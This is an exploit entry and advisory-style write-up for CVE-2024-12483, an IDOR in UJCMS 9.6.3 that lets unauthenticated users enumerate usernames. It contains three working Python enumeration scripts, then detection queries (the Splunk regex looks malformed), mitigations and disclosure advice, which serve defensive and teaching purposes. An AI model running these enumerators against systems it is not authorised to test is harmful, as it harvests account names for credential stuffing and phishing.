UJCMS 9.6.3 - User Enumeration via IDOR
# Exploit Title: UJCMS 9.6.3 User Enumeration via IDOR
# Exploit Author: Cyd Tseng
# Date: 11 Dec 2024
# Category: Web application
# Vendor Homepage: https://dromara.org/
# Software Link: https://github.com/dromara/ujcms
# Version: UJCMS 9.6.3
# Tested on: Linux
# CVE: CVE-2024-12483
# Advisory: https://github.com/cydtseng/Vulnerability-Research/blob/main/ujcms/IDOR-UsernameEnumeration.md
"""
An Insecure Direct Object Reference (IDOR) vulnerability was discovered in UJCMS version 9.6.3 that allows unauthenticated enumeration of usernames through the manipulation of the user id parameter in the /users/id endpoint. While the user IDs are generally large numbers (e.g., 69278363520885761), with the exception of the admin and anonymous account, unauthenticated attackers can still systematically discover usernames of existing accounts.
"""
import requests
from bs4 import BeautifulSoup
import time
import re
BASE_URL = 'http://localhost:8080/users/{}' # Modify as necessary!
HEADERS = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Connection': 'keep-alive'
}
def fetch_user_data(user_id):
url = BASE_URL.format(user_id)
try:
response = requests.get(url, headers=HEADERS)
if response.status_code == 200:
soup = BeautifulSoup(response.content, 'html.parser')
title = soup.title.string.strip()
if title.lower() != '404':
username = re.sub(r' - UJCMS演示站$', '', title)
return user_id, username
return None
except requests.RequestException as e:
print(f"Error fetching data for user ID {user_id}: {e}")
return None
def user_id_generator(start, end):
for user_id in range(start, end + 1):
yield user_id
def enumerate_users(start_id, end_id):
for user_id in user_id_generator(start_id, end_id):
user_data = fetch_user_data(user_id)
if user_data:
print(f"Valid user found: ID {user_data[0]} with username '{user_data[1]}'")
time.sleep(0.1)
if __name__ == '__main__':
start_id = int(input("Enter the starting user ID: "))
end_id = int(input("Enter the ending user ID: "))
print(f"Starting enumeration from ID {start_id} to {end_id}...")
enumerate_users(start_id, end_id) UJCMS 9.6.3 — User Enumeration via IDOR (CVE-2024-12483)
Summary: UJCMS 9.6.3 exposes an Insecure Direct Object Reference (IDOR) that allows unauthenticated attackers to enumerate usernames by requesting the /users/{id} endpoint and observing differences in the returned page title. This behaviour was assigned CVE-2024-12483. Although user IDs in UJCMS are large numeric values, the endpoint returns predictable content for existing accounts, enabling systematic discovery of usernames when tested against a range of IDs.
Why this matters
- Username enumeration reduces the attacker's search space for credential stuffing, targeted phishing, and social engineering.
- Exposure of account existence is a privacy concern for users and can be a stepping stone to further attacks.
- Automated scanners can quickly harvest many accounts if rate limits and protections are missing.
Vulnerability mechanics (high level)
An unauthenticated GET to /users/{id} returns an HTML page with a title that contains the username (for valid accounts) and returns a 404-like title for non-existent IDs. Because the endpoint leaks the username in an otherwise public page, iterating (or otherwise probing) ID values reveals account names. This is an IDOR because the application exposes a direct reference (numeric user ID) and does not enforce an authorization rule or hide account metadata for unauthenticated callers.
Scope and impact
| Item | Details |
|---|---|
| Product | UJCMS |
| Version | 9.6.3 (reported) |
| CVE | CVE-2024-12483 |
| Impact | Information disclosure / username enumeration |
| Exploit complexity | Low (public endpoint; trivial request/response analysis) |
Proof-of-Concept (for authorized testing only)
Important: The following PoC code is intended strictly for authorized vulnerability testing, incident response, or defensive research on systems you own or have explicit permission to test. Do not use these scripts against production systems without permission.
# PoC: basic username enumeration (for authorized testing only)
# Replace BASE_URL with the target instance URL (test/staging/consented target)
import requests
from bs4 import BeautifulSoup
import re
import time
BASE_URL = 'http://localhost:8080/users/{}' # change to target
HEADERS = {
'User-Agent': 'UJCMS-Enum-Tester/1.0',
'Accept': 'text/html',
'Connection': 'close'
}
def fetch_user_data(user_id):
url = BASE_URL.format(user_id)
try:
r = requests.get(url, headers=HEADERS, timeout=10)
if r.status_code == 200:
soup = BeautifulSoup(r.content, 'html.parser')
title = soup.title.string.strip() if soup.title else ''
if title and '404' not in title.lower():
username = re.sub(r'\s*-\s*UJCMS演示站$', '', title)
return user_id, username
return None
except requests.RequestException as e:
print(f"Error for {user_id}: {e}")
return None
def enumerate_users(start_id, end_id, delay=0.1):
for uid in range(start_id, end_id + 1):
res = fetch_user_data(uid)
if res:
print(f"Found: ID={res[0]} username='{res[1]}'")
time.sleep(delay)
if __name__ == '__main__':
s = int(input("Start ID: "))
e = int(input("End ID: "))
enumerate_users(s, e, delay=0.1)
Explanation: This simple script iterates a numeric ID range, makes an HTTP GET to /users/{id}, looks for a 200 response and a page title that is not a '404' placeholder, extracts the username by trimming a site-suffix, and prints valid results. It has a short fixed delay between requests to avoid immediate high-speed scanning.
Safer, more responsible testing script (improvements)
- Requires an explicit environment variable CONSENT=1 to run (guard against accidental misuse)
- Rate-limiting, jitter and exponential backoff to reduce impact
- Limits concurrent requests with a small concurrency value
- Records results to a file and logs metrics
- Stops scanning after N consecutive misses (heuristic to avoid unbounded scans)
# Responsible enumerator (authorized testing only)
# Usage: set CONSENT=1 in environment before running.
import os
import sys
import time
import random
import requests
from bs4 import BeautifulSoup
import re
if os.environ.get('CONSENT') != '1':
print("CONSENT not set. Set environment variable CONSENT=1 to proceed.")
sys.exit(1)
BASE_URL = 'http://localhost:8080/users/{}' # change to authorized target
HEADERS = {'User-Agent': 'UJCMS-Enum-Responsible/1.0', 'Accept': 'text/html'}
OUT_FILE = 'ujcms_enum_results.csv'
def fetch_user(user_id):
url = BASE_URL.format(user_id)
try:
r = requests.get(url, headers=HEADERS, timeout=10)
if r.status_code == 200:
soup = BeautifulSoup(r.content, 'html.parser')
title = soup.title.string.strip() if soup.title else ''
if title and '404' not in title.lower():
username = re.sub(r'\s*-\s*UJCMS演示站$', '', title)
return user_id, username
except requests.RequestException:
return None
return None
def enumerate_range(start, end, base_delay=0.2, jitter=0.2, stop_after_misses=200):
consecutive_misses = 0
with open(OUT_FILE, 'w', encoding='utf-8') as fh:
fh.write("id,username\n")
for uid in range(start, end + 1):
res = fetch_user(uid)
if res:
consecutive_misses = 0
print(f"Found: {res[0]} -> {res[1]}")
fh.write(f"{res[0]},{res[1]}\n")
else:
consecutive_misses += 1
if consecutive_misses >= stop_after_misses:
print(f"Stopping after {consecutive_misses} consecutive misses (heuristic).")
break
# polite sleep with jitter
time.sleep(base_delay + random.random() * jitter)
if __name__ == '__main__':
try:
s = int(input("Start ID: "))
e = int(input("End ID: "))
except ValueError:
print("Invalid input.")
sys.exit(1)
enumerate_range(s, e)
Explanation: This improved script refuses to run unless the operator explicitly sets CONSENT=1, making accidental abuse less likely. It writes findings to a CSV file, uses jitter to avoid deterministic bursts, and stops after a configurable number of consecutive misses. These measures make the tool more acceptable for controlled scanning of test/staging systems.
Detection and logging guidance
Security teams should look for patterns consistent with IDOR enumeration:
- Large numbers of sequential requests to /users/ (or similar endpoints) from a single source.
- Many 200 responses for different numeric IDs within a short time window.
- High ratio of 404-like page bodies to genuine page bodies interleaved with a few positive hits.
# Example Splunk query (illustrative)
index=web sourcetype=access_combined "/users/"
| rex field=uri_path "/users/(?\d+)"
| stats count(eval(status=200)) AS ok_hits count AS total by clientip
| where ok_hits > 10
Explanation: The query extracts numeric IDs and aggregates hits per client. A threshold of many 200s to the /users endpoint from a single IP is suspicious and merits investigation.
Mitigation and remediation
- Access control: Enforce authorization checks on the user view endpoint. Only return user metadata to callers with appropriate permissions.
- Least privilege: Show minimal public information for unauthenticated requests. Avoid leaking usernames or other identifying metadata.
- Canonical error responses: Return consistent generic responses (e.g., a generic 404/403 page) that do not reveal existence of resources via content differences.
- Use non-guessable identifiers: Consider using UUIDs or opaque IDs rather than sequential or predictable numeric IDs for public references.
- Rate limit and WAF: Apply rate limits and web application firewall rules that detect sequential enumeration patterns and throttle/block abusive clients.
- Monitoring: Log attempts and alert on enumeration patterns. Retain logs long enough for forensic analysis.
- Input validation & output encoding: Make sure all user-controlled data is validated and encoded to avoid secondary issues like XSS when exposing usernames.
Developer-side patch guidance
- Implement an authorization policy in the handler for /users/{id}: if the requester is unauthenticated, do not return identifying fields such as username; return a sanitized view or 403-based policy.
- If a public profile must exist, serve a canonical public profile page only for explicitly published accounts, and do not use predictable numeric IDs for internal accounts.
- Audit other endpoints that expose user data and apply consistent rules.
Hardening recommendations for operators
- Apply vendor updates — check the project's security advisories and upstream patches (dromara.org / UJCMS repo).
- Enable and configure rate limits for unauthenticated endpoints.
- Configure WAF rules to detect sequential access patterns and typical enumeration signatures.
- Perform periodic pentests focusing on IDORs and information-leakage scenarios.
Detection signatures and SIEM rules (examples)
Example rules to detect enumeration behavior:
- Alert when a single actor requests more than N distinct /users/ resources in T minutes.
- Alert on sequences of increasing or decreasing numeric IDs in HTTP accesses from the same source.
# Example pseudo-Sigma rule (conceptual)
title: UJCMS User Enumeration via IDOR
description: Multiple sequential requests to /users/{id} endpoint from same source
detection:
selection:
EventID: 1
UriPath|contains: "/users/"
condition: selection and count(UriPath) by SourceIp > 20 within 10m
Explanation: Translate the conceptual rule to your SIEM to detect repeated /users/ requests indicating scanning/enumeration.
Responsible disclosure & testing guidance
- Only test on systems you own or have explicit written permission to test.
- If you discover this or similar vulnerabilities on a third-party service, follow the vendor's responsible disclosure process or use coordinated disclosure channels (e.g., bug bounty program, security contact).
- Do not publish details of exploitable endpoints for active, unpatched production services without vendor coordination.
References and resources
- UJCMS project: https://github.com/dromara/ujcms
- Vendor: https://dromara.org/
- Advisory / research example: (CVE-2024-12483 advisory and researcher writeups — follow vendor advisory links for official patches)
Final notes
User enumeration via IDOR is a common, low-complexity vulnerability that can have outsized impact when combined with credential reuse or social engineering. The most effective mitigations are to avoid leaking identifiable information to unauthenticated callers, implement strict authorization checks, and monitor for automated scanning behavior.